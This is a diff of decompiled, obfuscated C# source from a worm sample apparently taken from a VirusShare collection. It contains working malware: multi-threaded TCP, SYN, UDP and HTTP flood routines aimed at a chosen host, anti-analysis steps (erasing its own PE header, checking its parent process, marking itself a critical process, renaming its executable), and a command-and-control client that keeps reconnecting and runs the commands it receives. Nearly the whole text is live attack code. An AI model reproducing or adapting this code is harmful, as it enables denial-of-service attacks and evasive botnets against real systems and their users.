"[W4CUlpyhp6Kmm25TiG5TfKGnmJ9TgJSWU4KGU4tTZGNhZ25TmKFgiIYznRO9blOlqW1kYWyVaFxTepiWnqJiZWNja2NmZWlkbFN5nKWYmaKrYmZhY5Vo7]",
|
||||
"[W4CUlpyhp6Kmm25TiG5TfKGnmJ9TgJSWU4KGU4tTZGNhZ25TmKFgiIYznRO9blOlqW1kYWyVaFxTepiWnqJiZWNja2NmZWlkbFN5nKWYmaKrYmZhY5Vo8]",
|
||||
"[W4CUlpyhp6Kmm25TiG5TfKGnmJ9TgJSWU4KGU4tTZGNhZ25TmKFgiIYznRO9blOlqW1kYWyVaFxTepiWnqJiZWNja2NmZWlkbFN5nKWYmaKrYmZhY5Vo9]",
|
||||
"[W4qcoZeiqqZuU4huU4qcoZeiqqZTgYdTaGFkblOYoWCIhm5TpaltZGFrYWNhaDOdE71cU3qYlp6iYmVjY2ljamZkU3mcpZiZoqtiZGFoYWNhaFN5n6KWnmJjYWphZ2FkUw==0]",
|
||||
"[W4qcoZeiqqZuU4huU4qcoZeiqqZTgYdTaGFkblOYoWCIhm5TpaltZGFrYWNhaDOdE71cU3qYlp6iYmVjY2ljamZkU3mcpZiZoqtiZGFoYWNhaFN5n6KWnmJjYWphZ2FkUw==1]",
|
||||
"[W4qcoZeiqqZuU4huU4qcoZeiqqZTgYdTaGFkblOYoWCIhm5TpaltZGFrYWNhaDOdE71cU3qYlp6iYmVjY2ljamZkU3mcpZiZoqtiZGFoYWNhaFN5n6KWnmJjYWphZ2FkUw==2]",
|
||||
"[W4qcoZeiqqZuU4huU4qcoZeiqqZTgYdTaGFkblOYoWCIhm5TpaltZGFrYWNhaDOdE71cU3qYlp6iYmVjY2ljamZkU3mcpZiZoqtiZGFoYWNhaFN5n6KWnmJjYWphZ2FkUw==3]",
|
||||
"[W4qcoZeiqqZuU4huU4qcoZeiqqZTgYdTaGFkblOYoWCIhm5TpaltZGFrYWNhaDOdE71cU3qYlp6iYmVjY2ljamZkU3mcpZiZoqtiZGFoYWNhaFN5n6KWnmJjYWphZ2FkUw==4]",
|
||||
"[W4qcoZeiqqZuU4huU4qcoZeiqqZTgYdTaGFkblOYoWCIhm5TpaltZGFrYWNhaDOdE71cU3qYlp6iYmVjY2ljamZkU3mcpZiZoqtiZGFoYWNhaFN5n6KWnmJjYWphZ2FkUw==5]",
|
||||
"[W4qcoZeiqqZuU4huU4qcoZeiqqZTgYdTaGFkblOYoWCIhm5TpaltZGFrYWNhaDOdE71cU3qYlp6iYmVjY2ljamZkU3mcpZiZoqtiZGFoYWNhaFN5n6KWnmJjYWphZ2FkUw==6]",
|
||||
"[W4qcoZeiqqZuU4huU4qcoZeiqqZTgYdTaGFkblOYoWCIhm5TpaltZGFrYWNhaDOdE71cU3qYlp6iYmVjY2ljamZkU3mcpZiZoqtiZGFoYWNhaFN5n6KWnmJjYWphZ2FkUw==7]"
|
||||
};
|
||||
private static string[] \u0669ѹᏲբে݅ = new string[10]
|
||||
{
|
||||
"[udvm1djYbAzPpc2bn5qcjA==]",
|
||||
"[udvm1djYbAzPpc2bn5qdjA==]",
|
||||
"[udvm1djYbAzPpc2bn5qijA==]",
|
||||
"[JUdSQURE2DvBDTkHDAYI+A==]",
|
||||
"[JUdSQURE2DvBDTkHDAYIEPg=]",
|
||||
"[JUdSQURE2DvBDTkHDQYI+A==]",
|
||||
"[J0g9SjnYO8ENBxEGCwv4]",
|
||||
"[J0g9SjnYO8ENBxEGCPg=]",
|
||||
"[J0g9SjnYO8ENBxAGEQj4]",
|
||||
"[J0g9SjnYO8ENBxEGEAj4]"
|
||||
};
|
||||
|
||||
public static Ј\u0EFA\u09B3ᝮᢶᯀ.ք᬴\u0609ǟ\u175C \u083A\u0606ᓙ\u0F03 => Ј\u0EFA\u09B3ᝮᢶᯀ.ᱽÇᖮᘸ\u09F5ࠍ\u0082ெ;
|
||||
|
||||
public static string \u0E4BᡐḼ
|
||||
{
|
||||
get
|
||||
{
|
||||
switch (Ј\u0EFA\u09B3ᝮᢶᯀ.ᱽÇᖮᘸ\u09F5ࠍ\u0082ெ)
|
||||
{
|
||||
case Ј\u0EFA\u09B3ᝮᢶᯀ.ք᬴\u0609ǟ\u175C.\u0307جᢦ౯᥏\u0DB2:
|
||||
return \u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("Eb314QAADQ==", true);
|
||||
case Ј\u0EFA\u09B3ᝮᢶᯀ.ք᬴\u0609ǟ\u175C.\u0E86ᐪᬞ\u0F0Dਞ:
|
||||
return \u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("[SYN]", true);
|
||||
case Ј\u0EFA\u09B3ᝮᢶᯀ.ք᬴\u0609ǟ\u175C.Ṅ\u0C8D\u0AC6ᩬ\u1A5Fᔅ:
|
||||
return \u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("Er314QABDQ==", true);
|
||||
case Ј\u0EFA\u09B3ᝮᢶᯀ.ք᬴\u0609ǟ\u175C.ľ\u1C99\u1B67șՔᘱ݆ߜ:
|
||||
return \u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("ECksNL314QApLC8mMA==", true);
|
||||
default:
|
||||
return (string) null;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static bool ἓ͕ḰIJᅼ\u0ADFধ => Ј\u0EFA\u09B3ᝮᢶᯀ.\u1AA0;
|
||||
|
||||
public static void ޚቘ\u1A8E\u1361\u0B12\u007F\u05EBෞ(
|
||||
Ј\u0EFA\u09B3ᝮᢶᯀ.ք᬴\u0609ǟ\u175C _param0,
|
||||
string _param1,
|
||||
int _param2,
|
||||
int _param3,
|
||||
int _param4,
|
||||
int _param5,
|
||||
\u07F6\u181Fᒸৃ _param6)
|
||||
{
|
||||
Ј\u0EFA\u09B3ᝮᢶᯀ.ᱽÇᖮᘸ\u09F5ࠍ\u0082ெ = _param0;
|
||||
Ј\u0EFA\u09B3ᝮᢶᯀ.ᧂɀᦰᣎᛪ\u0F30 = _param1;
|
||||
Ј\u0EFA\u09B3ᝮᢶᯀ.\u0EEBΝᝧԠ = _param2;
|
||||
Ј\u0EFA\u09B3ᝮᢶᯀ.\u1087 = _param3;
|
||||
Ј\u0EFA\u09B3ᝮᢶᯀ.ṹᎄ\u0027 = _param4;
|
||||
Ј\u0EFA\u09B3ᝮᢶᯀ.ዷᇰᒍɱౡ\u1A8Aᙦ = _param5;
|
||||
Ј\u0EFA\u09B3ᝮᢶᯀ.ᔡᶄᴹᑗ = _param6;
|
||||
Ј\u0EFA\u09B3ᝮᢶᯀ.\u1AA0 = false;
|
||||
}
|
||||
|
||||
public static void ŝἼࠏୌྸʊ᷋()
|
||||
{
|
||||
Ј\u0EFA\u09B3ᝮᢶᯀ.\u1AA0 = true;
|
||||
new Thread(new ThreadStart(Ј\u0EFA\u09B3ᝮᢶᯀ.șȓ)).Start();
|
||||
}
|
||||
|
||||
public static void ఙᴄϊઆ() => Ј\u0EFA\u09B3ᝮᢶᯀ.\u1AA0 = false;
|
||||
|
||||
private static void șȓ()
|
||||
{
|
||||
for (int index = 0; index < Ј\u0EFA\u09B3ᝮᢶᯀ.\u1087; ++index)
|
||||
{
|
||||
try
|
||||
{
|
||||
new Thread(new ThreadStart(Ј\u0EFA\u09B3ᝮᢶᯀ.ሸ᪓ᑃॢၥཀ\u16FA))
|
||||
{
|
||||
IsBackground = true
|
||||
}.Start();
|
||||
}
|
||||
catch (OutOfMemoryException ex)
|
||||
{
|
||||
Ј\u0EFA\u09B3ᝮᢶᯀ.\u1087 = index - 1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static void ሸ᪓ᑃॢၥཀ\u16FA()
|
||||
{
|
||||
int num = 0;
|
||||
while (Ј\u0EFA\u09B3ᝮᢶᯀ.\u1AA0 && Ј\u0EFA\u09B3ᝮᢶᯀ.ᔡᶄᴹᑗ.\u0557)
|
||||
{
|
||||
switch (Ј\u0EFA\u09B3ᝮᢶᯀ.ᱽÇᖮᘸ\u09F5ࠍ\u0082ெ)
|
||||
{
|
||||
case Ј\u0EFA\u09B3ᝮᢶᯀ.ք᬴\u0609ǟ\u175C.\u0307جᢦ౯᥏\u0DB2:
|
||||
Socket socket1 = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
|
||||
socket1.Blocking = false;
|
||||
while (num < Ј\u0EFA\u09B3ᝮᢶᯀ.ṹᎄ\u0027 && Ј\u0EFA\u09B3ᝮᢶᯀ.\u1AA0)
|
||||
{
|
||||
if (Ј\u0EFA\u09B3ᝮᢶᯀ.ᔡᶄᴹᑗ.\u0557)
|
||||
{
|
||||
try
|
||||
{
|
||||
socket1.Connect(Ј\u0EFA\u09B3ᝮᢶᯀ.ᧂɀᦰᣎᛪ\u0F30, Ј\u0EFA\u09B3ᝮᢶᯀ.\u0EEBΝᝧԠ);
|
||||
socket1.Send(Ј\u0EFA\u09B3ᝮᢶᯀ.\u0097\u0E00ᰬអᙲ\u0CFE੮ᆳଅ());
|
||||
socket1.Close();
|
||||
socket1 = (Socket) null;
|
||||
}
|
||||
catch
|
||||
{
|
||||
socket1.Close();
|
||||
break;
|
||||
}
|
||||
++num;
|
||||
Thread.Sleep(1);
|
||||
}
|
||||
else
|
||||
break;
|
||||
}
|
||||
Thread.Sleep(Ј\u0EFA\u09B3ᝮᢶᯀ.ዷᇰᒍɱౡ\u1A8Aᙦ);
|
||||
break;
|
||||
case Ј\u0EFA\u09B3ᝮᢶᯀ.ք᬴\u0609ǟ\u175C.\u0E86ᐪᬞ\u0F0Dਞ:
|
||||
Socket socket2 = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
|
||||
socket2.Blocking = false;
|
||||
try
|
||||
{
|
||||
socket2.BeginConnect(Ј\u0EFA\u09B3ᝮᢶᯀ.ᧂɀᦰᣎᛪ\u0F30, Ј\u0EFA\u09B3ᝮᢶᯀ.\u0EEBΝᝧԠ, new AsyncCallback(Ј\u0EFA\u09B3ᝮᢶᯀ.ະွ\u1759ໞ\u060Fᣊ\u1B5B), (object) null);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
Thread.Sleep(100);
|
||||
try
|
||||
{
|
||||
if (socket2.Connected)
|
||||
socket2.Disconnect(false);
|
||||
socket2.Close();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
Thread.Sleep(Ј\u0EFA\u09B3ᝮᢶᯀ.ዷᇰᒍɱౡ\u1A8Aᙦ);
|
||||
break;
|
||||
case Ј\u0EFA\u09B3ᝮᢶᯀ.ք᬴\u0609ǟ\u175C.Ṅ\u0C8D\u0AC6ᩬ\u1A5Fᔅ:
|
||||
Socket socket3 = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
|
||||
socket3.Blocking = false;
|
||||
Socket socket4;
|
||||
try
|
||||
{
|
||||
socket3.Connect(Ј\u0EFA\u09B3ᝮᢶᯀ.ᧂɀᦰᣎᛪ\u0F30, Ј\u0EFA\u09B3ᝮᢶᯀ.\u0EEBΝᝧԠ);
|
||||
while (num < Ј\u0EFA\u09B3ᝮᢶᯀ.ṹᎄ\u0027 && Ј\u0EFA\u09B3ᝮᢶᯀ.\u1AA0 && Ј\u0EFA\u09B3ᝮᢶᯀ.ᔡᶄᴹᑗ.\u0557)
|
||||
{
|
||||
socket3.Send(Ј\u0EFA\u09B3ᝮᢶᯀ.\u0738Зܫ\u0837ᚖųᮝ());
|
||||
++num;
|
||||
Thread.Sleep(1);
|
||||
}
|
||||
socket3.Close();
|
||||
socket4 = (Socket) null;
|
||||
}
|
||||
catch
|
||||
{
|
||||
socket3.Close();
|
||||
socket4 = (Socket) null;
|
||||
break;
|
||||
}
|
||||
Thread.Sleep(Ј\u0EFA\u09B3ᝮᢶᯀ.ዷᇰᒍɱౡ\u1A8Aᙦ);
|
||||
break;
|
||||
case Ј\u0EFA\u09B3ᝮᢶᯀ.ք᬴\u0609ǟ\u175C.ľ\u1C99\u1B67șՔᘱ݆ߜ:
|
||||
Socket socket5 = (Socket) null;
|
||||
try
|
||||
{
|
||||
socket5 = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
|
||||
socket5.Connect(Ј\u0EFA\u09B3ᝮᢶᯀ.ᧂɀᦰᣎᛪ\u0F30, Ј\u0EFA\u09B3ᝮᢶᯀ.\u0EEBΝᝧԠ);
|
||||
socket5.Send(Ј\u0EFA\u09B3ᝮᢶᯀ.\u0826Ꮽ\u0B72\u1AC1ଲ());
|
||||
while (socket5.Connected)
|
||||
{
|
||||
if (Ј\u0EFA\u09B3ᝮᢶᯀ.\u1AA0)
|
||||
{
|
||||
if (Ј\u0EFA\u09B3ᝮᢶᯀ.ᔡᶄᴹᑗ.\u0557)
|
||||
{
|
||||
socket5.Send(Ј\u0EFA\u09B3ᝮᢶᯀ.\u0826Ꮽ\u0B72\u1AC1ଲ());
|
||||
Thread.Sleep(2000);
|
||||
}
|
||||
else
|
||||
break;
|
||||
}
|
||||
else
|
||||
break;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
socket5.Close();
|
||||
}
|
||||
Thread.Sleep(Ј\u0EFA\u09B3ᝮᢶᯀ.ዷᇰᒍɱౡ\u1A8Aᙦ);
|
||||
break;
|
||||
}
|
||||
num = 0;
|
||||
}
|
||||
if (!Ј\u0EFA\u09B3ᝮᢶᯀ.\u1AA0)
|
||||
return;
|
||||
Ј\u0EFA\u09B3ᝮᢶᯀ.ఙᴄϊઆ();
|
||||
}
|
||||
|
||||
private static void ະွ\u1759ໞ\u060Fᣊ\u1B5B(IAsyncResult _param0)
|
||||
{
|
||||
}
|
||||
|
||||
private static byte[] \u0738Зܫ\u0837ᚖųᮝ()
|
||||
{
|
||||
Random random = new Random();
|
||||
byte[] buffer = new byte[random.Next(1470, 65507)];
|
||||
random.NextBytes(buffer);
|
||||
return buffer;
|
||||
}
|
||||
|
||||
private static byte[] \u0097\u0E00ᰬអᙲ\u0CFE੮ᆳଅ()
|
||||
{
|
||||
Random random = new Random();
|
||||
byte[] buffer = new byte[random.Next(1470, (int) ushort.MaxValue)];
|
||||
random.NextBytes(buffer);
|
||||
return buffer;
|
||||
}
|
||||
|
||||
private static byte[] \u0826Ꮽ\u0B72\u1AC1ଲ()
|
||||
{
|
||||
Random random = new Random();
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
stringBuilder.AppendLine("GET / HTTP/1.1");
|
||||
stringBuilder.AppendLine("Host: " + Ј\u0EFA\u09B3ᝮᢶᯀ.ᧂɀᦰᣎᛪ\u0F30);
|
||||
stringBuilder.AppendLine("User-Agent: " + \u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ(Ј\u0EFA\u09B3ᝮᢶᯀ.\u0669ѹᏲբে݅[random.Next(0, Ј\u0EFA\u09B3ᝮᢶᯀ.\u0669ѹᏲբে݅.Length - 1)], true) + " " + \u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ(Ј\u0EFA\u09B3ᝮᢶᯀ.\u0942[random.Next(0, Ј\u0EFA\u09B3ᝮᢶᯀ.\u0942.Length - 1)], true));
|
||||
stringBuilder.AppendLine("Content-Length: " + random.Next(1, 1000).ToString());
|
||||
stringBuilder.AppendLine("X-a: " + random.Next(1, 10000).ToString());
|
||||
stringBuilder.Append("Connection: keep-alive");
|
||||
return Encoding.ASCII.GetBytes(stringBuilder.ToString());
|
||||
}
|
||||
|
||||
public enum ք᬴\u0609ǟ\u175C
|
||||
{
|
||||
\u0307جᢦ౯᥏\u0DB2,
|
||||
\u0E86ᐪᬞ\u0F0Dਞ,
|
||||
Ṅ\u0C8D\u0AC6ᩬ\u1A5Fᔅ,
|
||||
ľ\u1C99\u1B67șՔᘱ݆ߜ,
|
||||
}
|
||||
}
|
||||
}
|
||||
+78
@@ -0,0 +1,78 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Ҧ߲๒ʽ໙ୄᴘ.Ѡኑ
|
||||
// Assembly: dns-sd, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 4A42D535-5A92-4CC4-9677-40E6ACE36033
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.Shakblades.ajg-02a9138068421a7a0b8924d80ebf6e55a41d8132d9fc1210df874ab33801b79f.exe
|
||||
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Management;
|
||||
|
||||
namespace Ҧ߲๒ʽ໙ୄᴘ
|
||||
{
|
||||
public static class Ѡኑ
|
||||
{
|
||||
public static void ᚷᦸᅏو()
|
||||
{
|
||||
if (ȩזြڹᡡỾỔው.\u17C1\u0F08ሜᅧᏀᒾ\u0EFB᪲)
|
||||
Ѡኑ.ᄊൎ();
|
||||
if (ȩזြڹᡡỾỔው.\u1943ᤖᤠᗎ && !Ѡኑ.\u0594ᢆ)
|
||||
Process.GetCurrentProcess().Kill();
|
||||
if (!ȩזြڹᡡỾỔው.\u1A98ᐖᅹ\u10CEጆ\u0AFFÕဥ)
|
||||
return;
|
||||
Ѡኑ.ᆹҞ();
|
||||
}
|
||||
|
||||
public static void ᄊൎ()
|
||||
{
|
||||
try
|
||||
{
|
||||
IntPtr num = \u0667Ѹ.\u1395้ỿ((string) null);
|
||||
\u0667Ѹ.\u171F\u1B67ΨƱࠏ(num, 512U, 4U, out uint _);
|
||||
\u0667Ѹ.\u0CC4\u1C9B\u1BFD(num, (IntPtr) 512);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
public static void ᆹҞ()
|
||||
{
|
||||
try
|
||||
{
|
||||
int num = 1;
|
||||
\u0667Ѹ.ଠঅྼ(Process.GetCurrentProcess().Handle, 29, ref num, 4);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
public static bool \u0594ᢆ
|
||||
{
|
||||
get
|
||||
{
|
||||
using (ManagementObject managementObject = new ManagementObject("win32_process.handle='" + Process.GetCurrentProcess().Id.ToString() + "'"))
|
||||
{
|
||||
managementObject.Get();
|
||||
return !(Process.GetProcessById(Convert.ToInt32(managementObject["ParentProcessId"])).ProcessName.ToLower() != "explorer");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static void \u1C59ḩฅ්Ꮱ()
|
||||
{
|
||||
try
|
||||
{
|
||||
string tempFileName = Path.GetTempFileName();
|
||||
File.Delete(tempFileName);
|
||||
string destFileName = tempFileName.Replace(".tmp", ".exe");
|
||||
File.Move(Process.GetCurrentProcess().MainModule.FileName, destFileName);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+44
@@ -0,0 +1,44 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Ҧ߲๒ʽ໙ୄᴘ.٧Ѹ
|
||||
// Assembly: dns-sd, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 4A42D535-5A92-4CC4-9677-40E6ACE36033
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.Shakblades.ajg-02a9138068421a7a0b8924d80ebf6e55a41d8132d9fc1210df874ab33801b79f.exe
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace Ҧ߲๒ʽ໙ୄᴘ
|
||||
{
|
||||
internal class \u0667Ѹ
|
||||
{
|
||||
[DllImport("kernel32.dll", EntryPoint = "MoveFileEx", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
public static extern bool \u1936\u0A50Ȁ\u0A84ᠬ\u1AE7(string ᡋત, string ᯌ, \u0667Ѹ.ቩᩬᐜ̯ṅडၿ ጆйἕછ);
|
||||
|
||||
[DllImport("kernel32.dll", EntryPoint = "VirtualProtect", SetLastError = true)]
|
||||
public static extern bool \u171F\u1B67ΨƱࠏ(
|
||||
IntPtr _param0,
|
||||
uint _param1,
|
||||
uint _param2,
|
||||
out uint ҙᘐ);
|
||||
|
||||
[DllImport("Kernel32.dll", EntryPoint = "RtlZeroMemory")]
|
||||
public static extern void \u0CC4\u1C9B\u1BFD(IntPtr _param0, IntPtr ԥྗ);
|
||||
|
||||
[DllImport("ntdll.dll", EntryPoint = "NtSetInformationProcess", SetLastError = true)]
|
||||
public static extern int ଠঅྼ(IntPtr _param0, int _param1, ref int _param2, int ݯ);
|
||||
|
||||
[DllImport("kernel32.dll", EntryPoint = "GetModuleHandle", CharSet = CharSet.Auto)]
|
||||
public static extern IntPtr \u1395้ỿ(string ǝᢴ);
|
||||
|
||||
[Flags]
|
||||
public enum ቩᩬᐜ̯ṅडၿ
|
||||
{
|
||||
ʻᎠಊѝ = 1,
|
||||
\u0DD6\u0B70ᤰႺʮᦽះ = 2,
|
||||
ᑹ\u17FCנᒞ͍ሴǒ = 4,
|
||||
Բዙຸ\u19FA\u1B69 = 8,
|
||||
ଯ\u192Eψᜤ\u0DB2ᴿ\u0099 = 16, // 0x00000010
|
||||
ᅮᒒᑖŹҒ\u0EFBᨬᆵᮖ = 32, // 0x00000020
|
||||
}
|
||||
}
|
||||
}
|
||||
+258
@@ -0,0 +1,258 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Ҧ߲๒ʽ໙ୄᴘ.߶ᒸৃ
|
||||
// Assembly: dns-sd, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 4A42D535-5A92-4CC4-9677-40E6ACE36033
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.Shakblades.ajg-02a9138068421a7a0b8924d80ebf6e55a41d8132d9fc1210df874ab33801b79f.exe
|
||||
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Net.Sockets;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
|
||||
namespace Ҧ߲๒ʽ໙ୄᴘ
|
||||
{
|
||||
internal class \u07F6\u181Fᒸৃ
|
||||
{
|
||||
private Socket \u1AF2ۈ\u18ADф٣ɶ̽;
|
||||
private bool ང\u10CEಖᠪ;
|
||||
private Thread \u1775\u197Eᦡગุ\u1879\u0FF1ᡷ;
|
||||
private Thread \u0C80\u137Cấޖᓨ;
|
||||
private string \u1C3CНဥƇᔋม;
|
||||
private int \u1064\u1AFFሒ;
|
||||
private string ݺۧᛊக;
|
||||
|
||||
public \u07F6\u181Fᒸৃ(string Host, int Port, string Password)
|
||||
{
|
||||
this.\u1C3CНဥƇᔋม = Host;
|
||||
this.\u1064\u1AFFሒ = Port;
|
||||
this.ݺۧᛊக = Password;
|
||||
this.ང\u10CEಖᠪ = false;
|
||||
}
|
||||
|
||||
public Socket \u17DFᓫ໋ྡଷ\u0886ᄢᏆᒪ => this.\u1AF2ۈ\u18ADф٣ɶ̽;
|
||||
|
||||
public bool \u0557 => this.ང\u10CEಖᠪ;
|
||||
|
||||
public string ᜭ => this.\u1C3CНဥƇᔋม;
|
||||
|
||||
public int ᙖᇊৰਥ\u02D7\u1ADA => this.\u1064\u1AFFሒ;
|
||||
|
||||
public string Ѣᖆܵ\u19F8ᗄ => this.ݺۧᛊக;
|
||||
|
||||
public void ᴓ᳢ᔈȷᡭౖক\u1C8F८() => this.\u1757ਉᡋᤉ();
|
||||
|
||||
private void \u1757ਉᡋᤉ()
|
||||
{
|
||||
if (this.ང\u10CEಖᠪ)
|
||||
return;
|
||||
this.\u0C80\u137Cấޖᓨ = new Thread((ThreadStart) (() =>
|
||||
{
|
||||
this.\u1AF2ۈ\u18ADф٣ɶ̽ = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
|
||||
while (!this.\u1AF2ۈ\u18ADф٣ɶ̽.Connected)
|
||||
{
|
||||
try
|
||||
{
|
||||
this.\u1AF2ۈ\u18ADф٣ɶ̽.Connect(this.\u1C3CНဥƇᔋม, this.\u1064\u1AFFሒ);
|
||||
}
|
||||
catch
|
||||
{
|
||||
Thread.Sleep(TimeSpan.FromSeconds((double) ȩזြڹᡡỾỔው.\u09F6ϸ));
|
||||
}
|
||||
}
|
||||
this.ٻܸ();
|
||||
}));
|
||||
this.\u0C80\u137Cấޖᓨ.Start();
|
||||
}
|
||||
|
||||
private void ٻܸ()
|
||||
{
|
||||
if (this.ང\u10CEಖᠪ)
|
||||
return;
|
||||
this.ང\u10CEಖᠪ = true;
|
||||
if (this.ᜌ\u1C9C\u0CFEʂᮅᄨɭᒨ\u19E8 == null)
|
||||
return;
|
||||
this.ᜌ\u1C9C\u0CFEʂᮅᄨɭᒨ\u19E8((object) this, (EventArgs) null);
|
||||
}
|
||||
|
||||
public void ຄ\u0011ڂʩ\u1AA1\u1C94ᚨ૨()
|
||||
{
|
||||
this.\u1775\u197Eᦡગุ\u1879\u0FF1ᡷ = new Thread(new ThreadStart(this.ড়ḥ\u08D9ጭṺদ\u1CFD\u1716));
|
||||
this.\u1775\u197Eᦡગุ\u1879\u0FF1ᡷ.Start();
|
||||
}
|
||||
|
||||
private void ড়ḥ\u08D9ጭṺদ\u1CFD\u1716()
|
||||
{
|
||||
try
|
||||
{
|
||||
MemoryStream ms = new MemoryStream();
|
||||
byte[] array;
|
||||
do
|
||||
{
|
||||
array = new byte[this.\u1AF2ۈ\u18ADф٣ɶ̽.ReceiveBufferSize];
|
||||
int num = this.\u1AF2ۈ\u18ADф٣ɶ̽.Receive(array, 0, array.Length, SocketFlags.Partial);
|
||||
if (num <= 0)
|
||||
throw new SocketException();
|
||||
Array.Resize<byte>(ref array, num);
|
||||
ms.Write(array, 0, num);
|
||||
}
|
||||
while (!(char.ConvertFromUtf32((int) array[array.Length - 1]) == "\n"));
|
||||
ms.Close();
|
||||
new Thread((ThreadStart) (() =>
|
||||
{
|
||||
this.\u0B53ऐࡘ(ms.ToArray());
|
||||
ms.Dispose();
|
||||
ms = (MemoryStream) null;
|
||||
})).Start();
|
||||
}
|
||||
catch (SocketException ex)
|
||||
{
|
||||
this.ຳѤᙍַኅߣϐᅍ(true);
|
||||
return;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
this.ຳѤᙍַኅߣϐᅍ(true);
|
||||
Console.WriteLine(ex.Message);
|
||||
}
|
||||
this.ড়ḥ\u08D9ጭṺদ\u1CFD\u1716();
|
||||
}
|
||||
|
||||
private void \u0B53ऐࡘ(byte[] _param1)
|
||||
{
|
||||
List<byte> byteList = new List<byte>();
|
||||
for (int index = 0; index < _param1.Length; ++index)
|
||||
{
|
||||
if (char.ConvertFromUtf32((int) _param1[index]) != "\n")
|
||||
{
|
||||
byteList.Add(_param1[index]);
|
||||
}
|
||||
else
|
||||
{
|
||||
this.Ờ(byteList.ToArray());
|
||||
byteList.Clear();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void Ờ(byte[] Ʒ᮲ᑔ༨)
|
||||
{
|
||||
try
|
||||
{
|
||||
MemoryStream memoryStream = new MemoryStream(\u1928ᔾዔ.ᖝሇᬐ\u09D1য়᪷(Ʒ᮲ᑔ༨, true));
|
||||
byte[] buffer = new byte[4];
|
||||
memoryStream.Read(buffer, 0, buffer.Length);
|
||||
\u07F6\u181Fᒸৃ.ƪᆌቬኆ২ᇖࣩᄦ int32 = (\u07F6\u181Fᒸৃ.ƪᆌቬኆ২ᇖࣩᄦ) BitConverter.ToInt32(buffer, 0);
|
||||
byte[] numArray = new byte[memoryStream.Length - 4L];
|
||||
memoryStream.Read(numArray, 0, numArray.Length);
|
||||
memoryStream.Close();
|
||||
memoryStream.Dispose();
|
||||
if (int32 != \u07F6\u181Fᒸৃ.ƪᆌቬኆ২ᇖࣩᄦ.ឰಊୟ\u07BA)
|
||||
{
|
||||
if (this.ङᷢៅ\u02D2ჿ != null)
|
||||
this.ङᷢៅ\u02D2ჿ((object) this, new ᛕᔱ\u05CDᨈكအ\u0FFEན(numArray, numArray.Length, int32));
|
||||
}
|
||||
else
|
||||
this.\u087Cἲ\u1370ኺࣱሤ();
|
||||
Ʒ᮲ᑔ༨ = (byte[]) null;
|
||||
}
|
||||
catch
|
||||
{
|
||||
\u0E4Cኘ᳒ধڿቷ\u1373\u09F6 obj = new \u0E4Cኘ᳒ধڿቷ\u1373\u09F6();
|
||||
obj.Write("Broken Packet");
|
||||
this.ೠ(new ᛷḼဩ\u09CF(\u07F6\u181Fᒸৃ.ƪᆌቬኆ২ᇖࣩᄦ.ᑣ᧑, obj.ࠨ಼\u10CEᇥ\u1CA0ฉ()).ᖣᅸڨฃ());
|
||||
}
|
||||
}
|
||||
|
||||
public int ೠ(byte[] _param1)
|
||||
{
|
||||
try
|
||||
{
|
||||
int sent = this.\u1AF2ۈ\u18ADф٣ɶ̽.Send(_param1, 0, _param1.Length, SocketFlags.Partial) + this.\u1AF2ۈ\u18ADф٣ɶ̽.Send(this.അΡጢૡ, 0, 1, SocketFlags.Partial);
|
||||
if (this.ଦ\u00A8\u0B0E̟\u0B54 != null && sent != 0)
|
||||
this.ଦ\u00A8\u0B0E̟\u0B54((object) this, new \u00B1ჵઆЩᎮɀኤʨՃ(sent));
|
||||
return sent;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
private byte[] അΡጢૡ => Encoding.ASCII.GetBytes("\n");
|
||||
|
||||
private void \u087Cἲ\u1370ኺࣱሤ() => this.ೠ(new ᛷḼဩ\u09CF(\u07F6\u181Fᒸৃ.ƪᆌቬኆ২ᇖࣩᄦ.ឰಊୟ\u07BA, new byte[0]).ᖣᅸڨฃ());
|
||||
|
||||
